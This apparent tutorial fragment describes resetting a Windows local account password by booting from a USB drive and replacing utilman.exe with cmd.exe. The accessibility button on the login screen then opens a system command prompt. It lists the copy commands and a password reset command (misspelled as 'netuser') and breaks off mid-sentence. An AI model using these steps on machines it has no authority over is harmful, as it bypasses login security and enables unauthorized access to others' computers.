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Limitations

  • works on local user accounts only
  • works on usb bootable computers only

What you will need

  • Another working computer
  • A usb thumb drive
  • Basic cmd skills

Steps

copy c:\windows\system32\utilman.exe c:\windows\system32\utilman.exe.bak
  • Copy/replace utilman.exe with cmd
copy c:\windows\system32\cmd.exe c:\windows\system32\utilman.exe
  • Restart your computer
  • Click on Utilmanager on the login screen, and command promt will open up
  • reset the password
netuser <username> <newpwd>
  • close the command prompt
  • login with the
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